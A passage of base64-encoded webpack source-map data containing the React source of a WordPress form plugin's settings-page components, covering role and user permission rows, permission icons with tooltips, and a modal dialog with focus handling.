pbmlzdHJhdG9yJyApO1xuXHRcdGxldCByb2xlRGVzYyAgPSB0cmFuc2xhdGUoICdBbGwnICk7XG5cdFx0bGV0IGl0ZW1OYW1lICA9ICcnO1xuXG5cdFx0Ly8gU2V0IHRoZSByb2xlL3VzZXIgaW5mby5cblx0XHRpZiAoICEgaXNBZG1pbiApIHtcblx0XHRcdGlmICggJ3JvbGUnID09PSBwcm9wLnBlcm1pc3Npb25fdHlwZSApIHtcblx0XHRcdFx0Y29uc3QgY291bnRFeGNsdWRlZCA9IHByb3AuZXhjbHVkZV91c2Vycy5sZW5ndGg7XG5cblx0XHRcdFx0cm9sZU5hbWUgPSBmb3JtaW5hdG9yRGF0YS51c2VyUm9sZXNbcHJvcC51c2VyX3JvbGVdLm5hbWU7XG5cdFx0XHRcdHJvbGVEZXNjICs9IDAgIT09IGNvdW50RXhjbHVkZWQgP1xuXHRcdFx0XHRcdHRyYW5zbGF0ZSggJyBleGNlcHQgJyApICsgY291bnRFeGNsdWRlZCA6XG5cdFx0XHRcdFx0Jyc7XG5cdFx0XHR9IGVsc2Uge1xuXHRcdFx0XHRjb25zdCB1c2VycyA9IHByb3Auc3BlY2lmaWNfdXNlcjtcblx0XHRcdFx0bGV0IHRvb2x0aXBUZXh0ID0gJyc7XG5cdFx0XHRcdHJvbGVJbWFnZSA9IDxpbWcgc3JjPXsgcHJvcC5hdmF0YXIgfSB3aWR0aD1cIjMwXCIgaGVpZ2h0PVwiMzBcIiAvPjtcblxuXHRcdFx0XHQvLyBJZiB0aGVyZSBhcmUgbW9yZSB0aGFuIDEgY2hvc2VuLlxuXHRcdFx0XHRpZiAoIHVzZXJzLmxlbmd0aCA+IDEgKSB7XG5cdFx0XHRcdFx0cm9sZU5hbWUgPSBwcm9wLnVzZXJfaW5mb1sgdXNlcnNbMF0gXS5uYW1lO1xuXHRcdFx0XHRcdHJvbGVOYW1lICs9ICcgKycgKyAoIHVzZXJzLmxlbmd0aCAtIDEgKSArICcgJztcblx0XHRcdFx0XHRyb2xlTmFtZSArPSB0cmFuc2xhdGUoICdtb3JlJyApO1xuXG5cdFx0XHRcdFx0cm9sZURlc2MgPSB1c2Vycy5sZW5ndGggKyB0cmFuc2xhdGUoICcgdXNlcnMnICk7XG5cblx0XHRcdFx0XHQvLyBDcmVhdGUgdG9vbHRpcCB0ZXh0LlxuXHRcdFx0XHRcdGxldCBjb3VudGVyID0gMDtcblx0XHRcdFx0XHRfLm1hcCggcHJvcC51c2VyX2luZm8sICggaW5mbywgdXNlcklkICkgPT4ge1xuXHRcdFx0XHRcdFx0Y291bnRlcisrO1xuXHRcdFx0XHRcdFx0dG9vbHRpcFRleHQgKz0gaW5mby5uYW1lICsgJyAtICcgKyAnKCcgKyBpbmZvLmVtYWlsICsgJyknO1xuXG5cdFx0XHRcdFx0XHRpZiAoIGNvdW50ZXIgPCB1c2Vycy5sZW5ndGggKSB7XG5cdFx0XHRcdFx0XHRcdHRvb2x0aXBUZXh0ICs9ICcsIFxcbic7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fSk7XG5cblx0XHRcdFx0XHRpdGVtTmFtZSA9IDxzcGFuXG5cdFx0XHRcdFx0XHRcdFx0XHRjbGFzc05hbWU9XCJzdWktdG9vbHRpcCBzdWktdG9vbHRpcC1jb25zdHJhaW5lZCBzdWktdG9vbHRpcC1yaWdodFwiXG5cdFx0XHRcdFx0XHRcdFx0XHRzdHlsZT17IHRvb2x0aXBXaWR0aCB9XG5cdFx0XHRcdFx0XHRcdFx0XHRkYXRhLXRvb2x0aXA9eyB0b29sdGlwVGV4dCB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwiZnAtaXRlbS1uYW1lXCI+eyByb2xlTmFtZSB9PC9zcGFuPlxuXHRcdFx0XHRcdFx0XHRcdDwvc3Bhbj47XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0aWYgKCBwcm9wLnVzZXJfaW5mbyApIHtcblx0XHRcdFx0XHRcdHJvbGVOYW1lID0gcHJvcC51c2VyX2luZm9bIHVzZXJzWzBdIF0ubmFtZTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0cm9sZURlc2MgPSBwcm9wLnVzZXJfaW5mb1sgdXNlcnNbMF0gXS5lbWFpbDtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblxuXHRcdC8vIFNldCBpdGVtIG5hbWUgaGVyZSBmb3Igbm8gdG9vbHRpcHMuXG5cdFx0aWYgKCAnJyA9PT0gaXRlbU5hbWUgKSB7XG5cdFx0XHRpdGVtTmFtZSA9IDxzcGFuIGNsYXNzTmFtZT1cImZwLWl0ZW0tbmFtZVwiPnsgcm9sZU5hbWUgfTwvc3Bhbj47XG5cdFx0fVxuXG5cdFx0cmV0dXJuIChcblx0XHRcdDx0cj5cblx0XHRcdFx0PHRkIGNvbFNwYW49eyA0IH0gY2xhc3NOYW1lPVwiIGZwLXJvbGUtaGVhZFwiPlxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwiZnAtcm9sZS1ib3hcIj5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwiZnAtcm9sZS1pbWdcIj5cblx0XHRcdFx0XHRcdFx0eyByb2xlSW1hZ2UgfVxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cImZwLXJvbGUtaW5mb1wiPlxuXHRcdFx0XHRcdFx0XHR7IGl0ZW1OYW1lIH1cblx0XHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwiZnAtaXRlbS1zdWJ0aXRsZVwiPnsgcm9sZURlc2MgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHQ8L3RkPlxuXG5cdFx0XHRcdHsgXy5tYXAoIGFjY2Vzc0xpc3QsICggYWNjZXNzLCB4ICkgPT4gKFxuXHRcdFx0XHRcdDxQZXJtaXNzaW9uSWNvbiBrZXk9eyB4IH0geyAuLi5wcm9wIH0gYWNjZXNzPXsgYWNjZXNzIH0gLz5cblx0XHRcdFx0KSApIH1cblxuXHRcdFx0XHQ8dGQgY29sU3Bhbj17IDEgfSBjbGFzc05hbWU9XCJmcC1wZXJtaXNzaW9uLWFjdGlvbnNcIj5cblx0XHRcdFx0XHR7ICEgaXNBZG1pbiAmJlxuXHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJmdWktZmllbGQtLWFjdGlvbnNcIj5cblx0XHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktZHJvcGRvd25cIj5cblx0XHRcdFx0XHRcdFx0XHQ8YnV0dG9uIHJlZj17IHRoaXMucGVybWlzc2lvbk1lbnUgfSBjbGFzc05hbWU9XCJwZXJtaXNzaW9uLW1lbnUgc3VpLWJ1dHRvbi1pY29uIHN1aS1kcm9wZG93bi1hbmNob3JcIj5cblx0XHRcdFx0XHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1pY29uLXdpZGdldC1zZXR0aW5ncy1jb25maWdcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48L3NwYW4+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktc2NyZWVuLXJlYWRlci10ZXh0XCI+eyB0cmFuc2xhdGUoICdQZXJtaXNzaW9uIG9wdGlvbnMnICkgfTwvc3Bhbj5cblx0XHRcdFx0XHRcdFx0XHQ8L2J1dHRvbj5cblx0XHRcdFx0XHRcdFx0XHQ8dWw+XG5cdFx0XHRcdFx0XHRcdFx0XHQ8bGk+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxidXR0b25cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRjbGFzc05hbWU9XCJmb3JtaW5hdG9yLWZpZWxkLWVkaXRcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdG9uQ2xpY2s9eyB0aGlzLnNob3dNb2RhbCB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktaWNvbi13aWRnZXQtc2V0dGluZ3MtY29uZmlnXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PC9zcGFuPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnRWRpdCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDwvYnV0dG9uPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9saT5cblx0XHRcdFx0XHRcdFx0XHRcdDxsaT5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PGJ1dHRvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGNsYXNzTmFtZT1cImZvcm1pbmF0b3ItZmllbGQtcmVtb3ZlIHN1aS1vcHRpb24tcmVkXCJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRvbkNsaWNrPXsgdGhpcy5kZWxldGVNb2RhbCB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktaWNvbi10cmFzaFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjwvc3Bhbj5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0RlbGV0ZScgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDwvYnV0dG9uPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9saT5cblx0XHRcdFx0XHRcdFx0XHQ8L3VsPlxuXHRcdFx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0PC90ZD5cblx0XHRcdDwvdHI+XG5cdFx0KTtcblx0fVxuXG59XG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2UvY29tcG9uZW50cy9wZXJtaXNzaW9ucy9wZXJtaXNzaW9uLWl0ZW0uanMiLCIvKiBqc2hpbnQgZXN2ZXJzaW9uOiA2ICovXG5pbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgaXNUcnVlLCB0cmFuc2xhdGUgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFBlcm1pc3Npb25JY29uIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IHByb3AgPSB0aGlzLnByb3BzO1xuXHRcdGNvbnN0IGlzQWRtaW4gPSBwcm9wLmlzQWRtaW47XG5cdFx0Y29uc3QgdG9vbHRpcFdpZHRoID0geyBcIi0tdG9vbHRpcC13aWR0aFwiOiBcIjIyMHB4XCIgfTtcblxuXHRcdGxldCBpY29uLCB0b29sdGlwVGV4dDtcblx0XHRpZiAoIGlzQWRtaW4gfHwgaXNUcnVlKCBwcm9wWyBwcm9wLmFjY2VzcyBdICkgKSB7XG5cdFx0XHRpY29uID0gJ3N1aS1pY29uLWNoZWNrJztcblx0XHRcdHRvb2x0aXBUZXh0ID0gdHJhbnNsYXRlKCAnQ2FuJyApO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHRpY29uID0gJ3N1aS1pY29uLWxvY2snO1xuXHRcdFx0dG9vbHRpcFRleHQgPSB0cmFuc2xhdGUoIFwiQ2FuJ3RcIiApO1xuXHRcdH1cblxuXHRcdC8vIEFkZCBzcGFjZS5cblx0XHR0b29sdGlwVGV4dCArPSAnICc7XG5cblx0XHQvLyBTZXQgdGhlIHRvb2x0aXAgdGV4dCBmb3IgZWFjaCBhY2Nlc3MuXG5cdFx0c3dpdGNoICggcHJvcC5hY2Nlc3MgKSB7XG5cdFx0XHRjYXNlICdtYW5hZ2VfZm9ybWluYXRvcl9tb2R1bGVzJzpcblx0XHRcdFx0dG9vbHRpcFRleHQgKz0gdHJhbnNsYXRlKCAnY3JlYXRlLCBlZGl0LCBhbmQgZGVsZXRlIG1vZHVsZXMgKEZvcm1zLCBQb2xscywgYW5kIFF1aXp6ZXMpLicgKTtcblxuXHRcdFx0XHRicmVhaztcblx0XHRcdGNhc2UgJ21hbmFnZV9mb3JtaW5hdG9yX3N1Ym1pc3Npb25zJzpcblx0XHRcdFx0dG9vbHRpcFRleHQgKz0gdHJhbnNsYXRlKCAndmlldyBhbmQgZGVsZXRlIHN1Ym1pc3Npb25zLicgKTtcblxuXHRcdFx0XHRicmVhaztcblx0XHRcdGNhc2UgJ21hbmFnZV9mb3JtaW5hdG9yX2FkZG9ucyc6XG5cdFx0XHRcdHRvb2x0aXBUZXh0ICs9IHRyYW5zbGF0ZSggJ2NvbmZpZ3VyZSBhZGQtb25zLicgKTtcblxuXHRcdFx0XHRicmVhaztcblx0XHRcdGNhc2UgJ21hbmFnZV9mb3JtaW5hdG9yX2ludGVncmF0aW9ucyc6XG5cdFx0XHRcdHRvb2x0aXBUZXh0ICs9IHRyYW5zbGF0ZSggJ2NvbmZpZ3VyZSBpbnRlZ3JhdGlvbnMuJyApO1xuXG5cdFx0XHRcdGJyZWFrO1xuXHRcdFx0Y2FzZSAnbWFuYWdlX2Zvcm1pbmF0b3JfcmVwb3J0cyc6XG5cdFx0XHRcdHRvb2x0aXBUZXh0ICs9IHRyYW5zbGF0ZSggJ2NvbmZpZ3VyZSByZXBvcnRzLicgKTtcblxuXHRcdFx0XHRicmVhaztcblx0XHRcdGNhc2UgJ21hbmFnZV9mb3JtaW5hdG9yX3NldHRpbmdzJzpcblx0XHRcdFx0aWYgKCBpc0FkbWluICkge1xuXHRcdFx0XHRcdHRvb2x0aXBUZXh0ICs9IHRyYW5zbGF0ZSggJ2NvbmZpZ3VyZSBhbGwgc2V0dGluZ3MuJyApO1xuXHRcdFx0XHR9IGVsc2UgaWYgKCAhIGlzVHJ1ZSggcHJvcFsgcHJvcC5hY2Nlc3MgXSApICkge1xuXHRcdFx0XHRcdHRvb2x0aXBUZXh0ICs9IHRyYW5zbGF0ZSggJ2NvbmZpZ3VyZSBzZXR0aW5ncy4nICk7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0dG9vbHRpcFRleHQgKz0gdHJhbnNsYXRlKCAnY29uZmlndXJlIHNldHRpbmdzIGV4Y2VwdCBwZXJtaXNzaW9ucy4nICk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHRicmVhaztcblx0XHR9XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PHRkIGNvbFNwYW49eyAyIH0gY2xhc3NOYW1lPVwiZnAtaXRlbS1jb2xcIj5cblx0XHRcdFx0PHNwYW5cblx0XHRcdFx0XHRjbGFzc05hbWU9XCJzdWktdG9vbHRpcCBzdWktdG9vbHRpcC1jb25zdHJhaW5lZFwiXG5cdFx0XHRcdFx0c3R5bGU9eyB0b29sdGlwV2lkdGggfVxuXHRcdFx0XHRcdGRhdGEtdG9vbHRpcD17IHRvb2x0aXBUZXh0IH1cblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT17IGljb24gKyAnIHN1aS1zbScgfSBhcmlhLWhpZGRlbj1cInRydWVcIj48L3NwYW4+XG5cdFx0XHRcdDwvc3Bhbj5cblx0XHRcdDwvdGQ+XG5cdFx0KTtcblx0fVxuXG59XG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2UvY29tcG9uZW50cy9wZXJtaXNzaW9ucy9wZXJtaXNzaW9uLWljb24uanMiLCJpbXBvcnQgeyBjb25uZWN0IH0gZnJvbSAncmVhY3QtcmVkdXgnO1xuaW1wb3J0IHsgYmluZEFjdGlvbkNyZWF0b3JzIH0gZnJvbSAncmVkdXgnO1xuXG5pbXBvcnQgTW9kYWwgZnJvbSAnLi4vY29tcG9uZW50cy9tb2RhbCc7XG5pbXBvcnQgKiBhcyBtb2RhbEFjdGlvbnMgZnJvbSAnLi4vYWN0aW9ucy9tb2RhbCc7XG5pbXBvcnQgKiBhcyBwZXJtaXNzaW9uQWN0aW9ucyBmcm9tICcuLi9hY3Rpb25zL3Blcm1pc3Npb25zJztcblxuZnVuY3Rpb24gbWFwU3RhdGVUb1Byb3BzKCBzdGF0ZSApIHtcblx0cmV0dXJuIHtcblx0XHRwZXJtaXNzaW9uczogc3RhdGUucGVybWlzc2lvbnMgfHwge30sXG5cdFx0bW9kYWw6IHN0YXRlLm1vZGFsLFxuXHR9O1xufVxuXG5mdW5jdGlvbiBtYXBEaXNwYXRjaFRvUHJvcHMoIGRpc3BhdGNoICkge1xuXHRyZXR1cm4ge1xuXHRcdGFjdGlvbnM6IHtcblx0XHRcdHBlcm1pc3Npb25BY3Rpb25zOiBiaW5kQWN0aW9uQ3JlYXRvcnMoIHBlcm1pc3Npb25BY3Rpb25zLCBkaXNwYXRjaCApLFxuXHRcdFx0bW9kYWxBY3Rpb25zOiBiaW5kQWN0aW9uQ3JlYXRvcnMoIG1vZGFsQWN0aW9ucywgZGlzcGF0Y2ggKSxcblx0XHR9LFxuXHR9O1xufVxuXG5leHBvcnQgZGVmYXVsdCBjb25uZWN0KFxuXHRtYXBTdGF0ZVRvUHJvcHMsXG5cdG1hcERpc3BhdGNoVG9Qcm9wc1xuKSggTW9kYWwgKTtcblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL2NvbnRhaW5lcnMvbW9kYWwuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IFJlYWN0RE9NIGZyb20gJ3JlYWN0LWRvbSc7XG5cbmltcG9ydCB7IGRlZmF1bHQgYXMgbW9kYWxUeXBlcyB9IGZyb20gJy4vbW9kYWxzL2luZGV4Jztcbi8vIGltcG9ydCBGb2N1c1RyYXAgZnJvbSAnLi9tb2RhbHMvcGFydGlhbHMvZm9jdXMtdHJhcCc7XG5pbXBvcnQgZGlzcGxhY2UgZnJvbSAncmVhY3QtZGlzcGxhY2UnO1xuXG5jb25zdCBNT0RBTF9UWVBFUyA9IHtcblx0cGVybWlzc2lvbnM6IG1vZGFsVHlwZXMucGVybWlzc2lvbnNNb2RhbCxcblx0cGVybWlzc2lvbkRlbGV0ZTogbW9kYWxUeXBlcy5wZXJtaXNzaW9uRGVsZXRlTW9kYWwsXG59O1xuXG4vKiBnbG9iYWwgc2V0VGltZW91dCxjbGVhclRpbWVvdXQgKi9cbmNsYXNzIE1vZGFsIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkVXBkYXRlKCBwcmV2UHJvcHMgKSB7XG5cdFx0dGhpcy4kZWwgPSBqUXVlcnkoIHRoaXMuZWwgKTtcblx0XHRjb25zdCBzZWxmID0gdGhpcztcblxuXHRcdGlmICggISBfLmlzRW1wdHkoIHByZXZQcm9wcy5tb2RhbCApIC8qICYmICEgXy5pc051bGwoIHRoaXMucHJvcHMubW9kYWwubW9kYWxUeXBlICkgKi8gKSB7XG5cdFx0XHRpZiAoIHByZXZQcm9wcy5tb2RhbC5tb2RhbFByb3BzLm9wZW4gIT09IHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5vcGVuICkge1xuXHRcdFx0XHRjb25zdCBtb2RhbEVsZW1lbnQgPSBSZWFjdERPTS5maW5kRE9NTm9kZSggdGhpcyApO1xuXG5cdFx0XHRcdGlmICggdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLm9wZW4gKSB7XG5cdFx0XHRcdFx0dGhpcy5mb2N1c0FmdGVyQ2xvc2VkID0gdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLmFjdGl2ZUVsZW1lbnQ7XG5cblx0XHRcdFx0XHRjb25zdCBmb2N1c0ZpcnN0ID0gdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLmZvY3VzRmlyc3Q7XG5cblx0XHRcdFx0XHRzZXRUaW1lb3V0KCBmdW5jdGlvbigpIHtcblx0XHRcdFx0XHRcdGlmICggJ3N0cmluZycgPT09IHR5cGVvZiBmb2N1c0ZpcnN0ICkge1xuXHRcdFx0XHRcdFx0XHRzZWxmLmZvY3VzRmlyc3QgPSBzZWxmLiRlbC5maW5kKCBmb2N1c0ZpcnN0ICk7XG5cdFx0XHRcdFx0XHR9IGVsc2UgaWYgKCAnb2JqZWN0JyA9PT0gdHlwZW9mIGZvY3VzRmlyc3QgKSB7XG5cdFx0XHRcdFx0XHRcdHNlbGYuZm9jdXNGaXJzdCA9IGZvY3VzRmlyc3Q7XG5cdFx0XHRcdFx0XHR9IGVsc2Uge1xuXHRcdFx0XHRcdFx0XHRzZWxmLmZvY3VzRmlyc3QgPSBudWxsO1xuXHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRpZiAoIHNlbGYuZm9jdXNGaXJzdCAmJiBzZWxmLmZvY3VzRmlyc3QubGVuZ3RoICkge1xuXHRcdFx0XHRcdFx0XHRzZWxmLnNldEZvY3VzKCBzZWxmLmZvY3VzRmlyc3QuZmlyc3QoKSApO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH0sIDMyMCApO1xuXG5cdFx0XHRcdFx0alF1ZXJ5KCAnI3dwd3JhcCcgKS5hdHRyKCAnYXJpYS1oaWRkZW4nLCAndHJ1ZScgKTtcblx0XHRcdFx0fVxuXG5cdFx0XHRcdGlmICggISB0aGlzLnByb3BzLm1vZGFsLm1vZGFsUHJvcHMub3BlbiApIHtcblx0XHRcdFx0XHRqUXVlcnkoICcjd3B3cmFwJyApLmF0dHIoICdhcmlhLWhpZGRlbicsICdmYWxzZScgKTtcblxuXHRcdFx0XHRcdHNldFRpbWVvdXQoIGZ1bmN0aW9uKCkge1xuXHRcdFx0XHRcdFx0c2VsZi5zZXRGb2N1cyggc2VsZi5mb2N1c0FmdGVyQ2xvc2VkICk7XG5cdFx0XHRcdFx0fSwgMzIwICk7XG5cblx0XHRcdFx0XHR0aGlzLmhpZGVNb2RhbFRpbWVvdXQgPSBzZXRUaW1lb3V0KCAoKSA9PiB7XG5cdFx0XHRcdFx0XHRtb2RhbEVsZW1lbnQuc2V0QXR0cmlidXRlKCAnYXJpYS1oaWRkZW4nLCAndHJ1ZScgKTtcblx0XHRcdFx0XHRcdC8vIGNsZWFudXBcblx0XHRcdFx0XHRcdHRoaXMucHJvcHMubW9kYWwubW9kYWxUeXBlID0gbnVsbDtcblx0XHRcdFx0XHRcdHRoaXMuZm9yY2VVcGRhdGUoKTtcblx0XHRcdFx0XHR9LCAzMDAgKTtcblx0XHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0XHRtb2RhbEVsZW1lbnQucmVtb3ZlQXR0cmlidXRlKCAnYXJpYS1oaWRkZW4nICk7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHRzZXRGb2N1cyggZWxlbWVudCApIHtcblx0XHRjb25zdCBmb2N1c0ludGVydmFsID0gMTA7IC8vIG1zLCB0aW1lIGJldHdlZW4gZnVuY3Rpb24gY2FsbHNcblx0XHRjb25zdCBmb2N1c1RvdGFsUmVwZXRpdGlvbnMgPSAxMDsgLy8gbnVtYmVyIG9mIHJlcGV0aXRpb25zXG5cblx0XHRpZiAoIHR5cGVvZiBlbGVtZW50ID09PSAndW5kZWZpbmVkJyApIHtcblx0XHRcdHJldHVybjtcblx0XHR9XG5cblx0XHRlbGVtZW50LmF0dHIoICd0YWJpbmRleCcsICcwJyApO1xuXHRcdGVsZW1lbnQuYmx1cigpO1xuXG5cdFx0bGV0IGZvY3VzUmVwZXRpdGlvbnMgPSAwO1xuXHRcdGNvbnN0IGludGVydmFsID0gd2luZG93LnNldEludGVydmFsKCBmdW5jdGlvbigpIHtcblx0XHRcdGVsZW1lbnQuZm9jdXMoKTtcblx0XHRcdGZvY3VzUmVwZXRpdGlvbnMrKztcblxuXHRcdFx0aWYgKCBmb2N1c1JlcGV0aXRpb25zID49IGZvY3VzVG90YWxSZXBldGl0aW9ucyApIHtcblx0XHRcdFx0d2luZG93LmNsZWFySW50ZXJ2YWwoIGludGVydmFsICk7XG5cdFx0XHR9XG5cdFx0fSwgZm9jdXNJbnRlcnZhbCApO1xuXHR9XG5cblx0Y29tcG9uZW50V2lsbFVubW91bnQoKSB7XG5cdFx0Y2xlYXJUaW1lb3V0KCB0aGlzLmhpZGVNb2RhbFRpbWVvdXQgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRpZiAoXG5cdFx0XHRfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLm1vZGFsICkgfHxcblx0XHRcdF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcyApIHx8XG5cdFx0XHRfLmlzTnVsbCggdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFR5cGUgKVxuXHRcdCkge1xuXHRcdFx0cmV0dXJuIG51bGw7XG5cdFx0fVxuXG5cdFx0bGV0IG1vZGFsQ2xhc3MgPSAnc3VpLW1vZGFsLWxnJztcblx0XHRsZXQgb3ZlcmxheUNsYXNzID0gWyAnc3VpLW1vZGFsLWNvbnRlbnQnLCAnc3VpLWNvbnRlbnQtZmFkZS1pbicgXTtcblx0XHRpZiAoICEgdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLm9wZW4gKSB7XG5cdFx0XHRvdmVybGF5Q2xhc3MgPSBbICdzdWktbW9kYWwtY29udGVudCcsICdzdWktY29udGVudC1mYWRlLW91dCcgXTtcblx0XHR9XG5cblx0XHRjb25zdCBtb2RhbFR5cGUgXHQgPSB0aGlzLnByb3BzLm1vZGFsLm1vZGFsVHlwZTtcblx0XHRjb25zdCBTcGVjaWZpZWRNb2RhbCA9IE1PREFMX1RZUEVTWyBtb2RhbFR5cGUgXTtcblxuXHRcdGlmICggJ3B1Ymxpc2gnID09PSBtb2RhbFR5cGUgKSB7XG5cdFx0XHRtb2RhbENsYXNzID0gJ3N1aS1tb2RhbC1zbSBmdWktZGlhbG9nLXB1Ymxpc2gnO1xuXHRcdH1cblxuXHRcdGlmICggJ3Nob3J0Y29kZScgPT09IG1vZGFsVHlwZSApIHtcblx0XHRcdG1vZGFsQ2xhc3MgPSAnc3VpLW1vZGFsLXNtIGZ1aS1kaWFsb2ctcHVibGlzaCc7XG5cdFx0fVxuXG5cdFx0Y29uc3Qgc21Nb2RhbFR5cGUgPSBbJ3Blcm1pc3Npb25EZWxldGUnXTtcblx0XHRpZiAoIHNtTW9kYWxUeXBlLmluY2x1ZGVzKCBtb2RhbFR5cGUgKSApIHtcblx0XHRcdG1vZGFsQ2xhc3MgPSAnc3VpLW1vZGFsLXNtJztcblx0XHR9XG5cblx0XHRpZiAoXG5cdFx0XHQhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcyApICYmXG5cdFx0XHQhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5maWVsZCApICYmXG5cdFx0XHQhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5maWVsZC50eXBlIClcblx0XHQpIHtcblx0XHRcdGNvbnN0IGZpZWxkVHlwZSA9IHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5maWVsZC50eXBlO1xuXG5cdFx0XHRpZiAoIGZpZWxkVHlwZSA9PT0gJ3JhZGlvJyB8fCBmaWVsZFR5cGUgPT09ICdjaGVja2JveCcgfHwgZmllbGRUeXBlID09PSAnc2VsZWN0JyApIHtcblx0XHRcdFx0bW9kYWxDbGFzcyArPSAnIG11bHRpdmFsdWUtbW9kYWwnO1xuXHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0bW9kYWxDbGFzcyArPSAnICcgKyB0aGlzLnByb3BzLm1vZGFsLm1vZGFsUHJvcHMuZmllbGQudHlwZSArICctbW9kYWwnO1xuXHRcdFx0fVxuXHRcdH1cblxuXHRcdGNvbnN0IGNsYXNzZXMgPSBqUXVlcnkoICcuc3VpLWNvbG9yLWFjY2Vzc2libGUnICkubGVuZ3RoID8gJ3N1aS13cmFwIHN1aS1jb2xvci1hY2Nlc3NpYmxlJyA6ICdzdWktd3JhcCc7XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PGRpdiBjbGFzc05hbWU9eyBjbGFzc2VzIH0+XG5cblx0XHRcdFx0PGRpdiBpZD1cImZvcm1pbmF0b3ItbW9kYWxcIiBjbGFzc05hbWU9eyBgc3VpLW1vZGFsIHN1aS1hY3RpdmUgJHsgbW9kYWxDbGFzcyB9ICR7IG1vZGFsVHlwZSB9YCB9PlxuXG5cdFx0XHRcdFx0ey8qIDxGb2N1c1RyYXA+ICovfVxuXG5cdFx0XHRcdFx0PGRpdlxuXHRcdFx0XHRcdFx0cm9sZT1cImRpYWxvZ1wiXG5cdFx0XHRcdFx0XHRpZD1